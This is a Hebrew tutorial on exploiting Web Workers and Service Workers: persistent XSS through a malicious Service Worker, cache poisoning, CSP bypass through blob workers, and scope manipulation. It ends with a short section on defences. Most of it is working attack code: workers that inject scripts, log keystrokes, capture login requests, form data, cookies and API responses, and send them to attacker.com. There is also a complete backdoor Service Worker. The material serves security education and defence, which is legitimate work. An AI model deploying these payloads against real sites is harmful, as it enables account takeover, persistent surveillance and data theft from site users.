ניצול Web Workers ו-Service Workers¶
סקירה כללית¶
Web Workers¶
Web Workers מאפשרים הרצת JavaScript ב-thread נפרד, ללא חסימת ה-UI. ישנם שני סוגים:
// Dedicated Worker - שייך לדף אחד
let worker = new Worker('/js/worker.js');
worker.postMessage({ task: 'compute', data: [1, 2, 3] });
worker.onmessage = function(event) {
console.log('Result:', event.data);
};
// Shared Worker - משותף בין דפים
let shared = new SharedWorker('/js/shared-worker.js');
shared.port.start();
shared.port.postMessage('hello');
Service Workers¶
Service Workers הם סוג מיוחד של Worker שרץ ברקע ומשמש כפרוקסי רשת בין הדפדפן לשרת:
// רישום Service Worker
if ('serviceWorker' in navigator) {
navigator.serviceWorker.register('/sw.js', { scope: '/' })
.then(function(registration) {
console.log('SW registered:', registration.scope);
})
.catch(function(error) {
console.log('SW registration failed:', error);
});
}
Service Worker בסיסי:
// sw.js
self.addEventListener('install', function(event) {
console.log('Service Worker installed');
});
self.addEventListener('activate', function(event) {
console.log('Service Worker activated');
});
self.addEventListener('fetch', function(event) {
// ניתן ליירט כל בקשת רשת
event.respondWith(
caches.match(event.request).then(function(response) {
return response || fetch(event.request);
})
);
});
XSS מתמיד דרך Service Worker¶
רישום Service Worker זדוני¶
אם תוקף מצליח לבצע XSS, הוא יכול לרשום Service Worker שימשיך לרוץ גם אחרי שה-XSS המקורי תוקן:
// XSS payload שמרשם Service Worker
navigator.serviceWorker.register('/user-uploads/evil-sw.js')
.then(function(reg) {
console.log('Persistent backdoor installed');
});
אם התוקף יכול להעלות קובץ JS לשרת (למשל דרך file upload), הוא יכול ליצור Service Worker זדוני:
// evil-sw.js - Service Worker זדוני
self.addEventListener('fetch', function(event) {
let url = new URL(event.request.url);
// הזרקת סקריפט זדוני לכל דף HTML
if (event.request.headers.get('accept').includes('text/html')) {
event.respondWith(
fetch(event.request).then(function(response) {
let cloned = response.clone();
return cloned.text().then(function(body) {
// הוספת סקריפט זדוני לכל דף
let injected = body.replace('</body>',
'<script>fetch("https://attacker.com/steal?c="+document.cookie)</script></body>'
);
return new Response(injected, {
status: response.status,
statusText: response.statusText,
headers: response.headers
});
});
})
);
}
});
הרעלת Cache דרך Service Worker¶
החלפת תגובות¶
Service Worker יכול להחליף תגובות מהשרת בתוכן זדוני ולשמור אותם ב-cache:
// sw.js - Service Worker שמרעיל cache
self.addEventListener('install', function(event) {
event.waitUntil(
caches.open('poisoned-cache').then(function(cache) {
// החלפת קבצי JavaScript חשובים
let evilScript = new Response(
'document.addEventListener("DOMContentLoaded", function() {' +
' new Image().src = "https://attacker.com/exfil?cookies=" + document.cookie;' +
' // keylogger' +
' document.addEventListener("keypress", function(e) {' +
' new Image().src = "https://attacker.com/key?k=" + e.key;' +
' });' +
'});',
{ headers: { 'Content-Type': 'application/javascript' } }
);
return cache.put('/js/main.js', evilScript);
})
);
});
self.addEventListener('fetch', function(event) {
event.respondWith(
caches.match(event.request).then(function(cachedResponse) {
// אם יש תגובה מורעלת ב-cache, החזר אותה
if (cachedResponse) {
return cachedResponse;
}
return fetch(event.request);
})
);
});
יירוט בקשות רשת¶
גניבת credentials¶
// sw.js - יירוט בקשות login
self.addEventListener('fetch', function(event) {
let url = new URL(event.request.url);
// יירוט בקשות POST ל-login
if (url.pathname === '/api/login' && event.request.method === 'POST') {
// שכפול הבקשה
let clonedRequest = event.request.clone();
// שליחת הבקשה המקורית לשרת
event.respondWith(
clonedRequest.text().then(function(body) {
// שליחת ה-credentials לשרת התוקף
fetch('https://attacker.com/steal-creds', {
method: 'POST',
body: body,
mode: 'no-cors'
});
// העברת הבקשה המקורית לשרת
return fetch(event.request);
})
);
}
});
יירוט תגובות API¶
// sw.js - גניבת נתוני API
self.addEventListener('fetch', function(event) {
let url = new URL(event.request.url);
if (url.pathname.startsWith('/api/')) {
event.respondWith(
fetch(event.request).then(function(response) {
let cloned = response.clone();
// שליחת תגובת API לתוקף
cloned.text().then(function(body) {
fetch('https://attacker.com/api-leak', {
method: 'POST',
body: JSON.stringify({
url: event.request.url,
method: event.request.method,
response: body
}),
mode: 'no-cors'
});
});
return response;
})
);
}
});
Keylogging ו-Data Theft דרך Workers¶
Web Worker ככלי ריגול¶
// spyWorker.js - Worker שאוסף מידע
self.addEventListener('message', function(event) {
let data = event.data;
switch (data.type) {
case 'keystroke':
// שליחת הקלדה לשרת התוקף
fetch('https://attacker.com/log', {
method: 'POST',
body: JSON.stringify({
key: data.key,
timestamp: Date.now(),
page: data.page
}),
mode: 'no-cors'
});
break;
case 'formData':
// שליחת נתוני טופס
fetch('https://attacker.com/form', {
method: 'POST',
body: JSON.stringify(data.fields),
mode: 'no-cors'
});
break;
}
});
שימוש מהדף הראשי:
// הפעלת ה-spy worker
let spy = new Worker('/uploads/spyWorker.js');
// יירוט הקלדות
document.addEventListener('keypress', function(e) {
spy.postMessage({
type: 'keystroke',
key: e.key,
page: location.href
});
});
// יירוט שליחת טפסים
document.querySelectorAll('form').forEach(function(form) {
form.addEventListener('submit', function(e) {
let fields = {};
new FormData(form).forEach(function(value, key) {
fields[key] = value;
});
spy.postMessage({ type: 'formData', fields: fields });
});
});
עקיפת CSP דרך Workers¶
טעינת Worker מ-blob URL¶
כאשר CSP חוסם סקריפטים חיצוניים, ניתן ליצור Worker מ-blob:
// CSP: script-src 'self' 'unsafe-inline'
// יצירת Worker מ-blob - עוקף script-src
let workerCode = `
self.addEventListener('message', function(e) {
// קוד זדוני רץ ב-Worker ללא הגבלות CSP
fetch('https://attacker.com/data', {
method: 'POST',
body: e.data
});
});
`;
let blob = new Blob([workerCode], { type: 'application/javascript' });
let workerUrl = URL.createObjectURL(blob);
let worker = new Worker(workerUrl);
worker.postMessage(document.cookie);
מגבלה: worker-src¶
CSP מודרני תומך ב-worker-src שמגביל מקורות ל-Workers:
אבל אם worker-src לא מוגדר, child-src או script-src משמשים כ-fallback.
מניפולציית Scope של Service Worker¶
הרחבת Scope¶
ה-scope של Service Worker מגביל אילו דפים הוא שולט בהם:
// scope ברירת מחדל - התיקייה של קובץ ה-SW
navigator.serviceWorker.register('/uploads/sw.js');
// scope: /uploads/
// ניסיון להרחיב scope
navigator.serviceWorker.register('/uploads/sw.js', { scope: '/' });
// נכשל! scope לא יכול לעלות מעל תיקיית ה-SW
אלא אם השרת שולח כותרת Service-Worker-Allowed:
ניצול path traversal¶
// אם ניתן להעלות קובץ לנתיב גבוה
navigator.serviceWorker.register('/sw.js');
// scope: / - שולט בכל האתר!
// או אם יש path traversal
navigator.serviceWorker.register('/assets/../sw.js');
רישום Service Worker זדוני - תהליך מלא¶
שלב 1: מציאת נקודת הזרקה¶
שלב 2: יצירת ה-Service Worker¶
// malicious-sw.js
const ATTACKER_SERVER = 'https://attacker.com';
self.addEventListener('install', function(event) {
self.skipWaiting(); // הפעלה מיידית
});
self.addEventListener('activate', function(event) {
event.waitUntil(self.clients.claim()); // שליטה מיידית בכל הדפים
});
self.addEventListener('fetch', function(event) {
let request = event.request;
let url = new URL(request.url);
// יירוט דפי HTML - הזרקת backdoor
if (request.headers.get('accept') &&
request.headers.get('accept').includes('text/html')) {
event.respondWith(injectBackdoor(request));
return;
}
// יירוט API calls - חילוץ מידע
if (url.pathname.startsWith('/api/')) {
event.respondWith(exfiltrateApi(request));
return;
}
// שאר הבקשות - רגיל
event.respondWith(fetch(request));
});
async function injectBackdoor(request) {
let response = await fetch(request);
let html = await response.text();
let payload = `<script>
document.addEventListener('keypress', function(e) {
navigator.sendBeacon('${ATTACKER_SERVER}/keys', e.key);
});
document.querySelectorAll('form').forEach(function(f) {
f.addEventListener('submit', function() {
let data = Object.fromEntries(new FormData(f));
navigator.sendBeacon('${ATTACKER_SERVER}/forms', JSON.stringify(data));
});
});
</script>`;
html = html.replace('</head>', payload + '</head>');
return new Response(html, {
status: response.status,
statusText: response.statusText,
headers: new Headers(response.headers)
});
}
async function exfiltrateApi(request) {
let response = await fetch(request);
let cloned = response.clone();
let body = await cloned.text();
navigator.sendBeacon(ATTACKER_SERVER + '/api-data', JSON.stringify({
url: request.url,
method: request.method,
response: body
}));
return response;
}
שלב 3: רישום¶
// XSS payload שמרשם את ה-SW
if ('serviceWorker' in navigator) {
navigator.serviceWorker.register('/uploads/malicious-sw.js')
.then(function() {
console.log('Backdoor installed');
});
}
הסרת Service Worker זדוני¶
מצד המשתמש¶
// ב-DevTools Console
navigator.serviceWorker.getRegistrations().then(function(registrations) {
registrations.forEach(function(reg) {
console.log('Found SW:', reg.scope, reg.active.scriptURL);
reg.unregister().then(function(success) {
console.log('Unregistered:', success);
});
});
});
מצד השרת¶
הגנה¶
הגבלת Service-Worker-Allowed¶
CSP worker-src¶
שלמות סקריפטים - Script Integrity¶
<!-- SRI (Subresource Integrity) -->
<script src="/js/app.js"
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8w"
crossorigin="anonymous">
</script>
ניטור רישומי Service Worker¶
// ניטור רישום SW חדשים
if ('serviceWorker' in navigator) {
navigator.serviceWorker.addEventListener('controllerchange', function() {
console.warn('Service Worker controller changed!');
// דווח לשרת
fetch('/api/security/sw-change', {
method: 'POST',
body: JSON.stringify({
controller: navigator.serviceWorker.controller ?
navigator.serviceWorker.controller.scriptURL : null
})
});
});
}
הגבלת file upload¶
// שרת - וודא שקבצים שהועלו לא יכולים לשמש כ-SW
app.use('/uploads', function(req, res, next) {
// מנע הרצת JS מתיקיית uploads
res.setHeader('Content-Type', 'application/octet-stream');
res.setHeader('Content-Disposition', 'attachment');
// מנע רישום SW
res.setHeader('Service-Worker-Allowed', 'none');
next();
});
סיכום¶
Web Workers ו-Service Workers מספקים יכולות חזקות שניתן לנצל לתקיפות מתמידות. Service Worker זדוני יכול ליירט כל בקשת רשת, להזריק קוד לכל דף, ולהישאר פעיל גם אחרי שה-XSS המקורי תוקן. ההגנה דורשת CSP עם worker-src, הגבלת scope של Service Workers, ניטור רישומים, והגבלת file upload כדי למנוע העלאת קבצי JavaScript.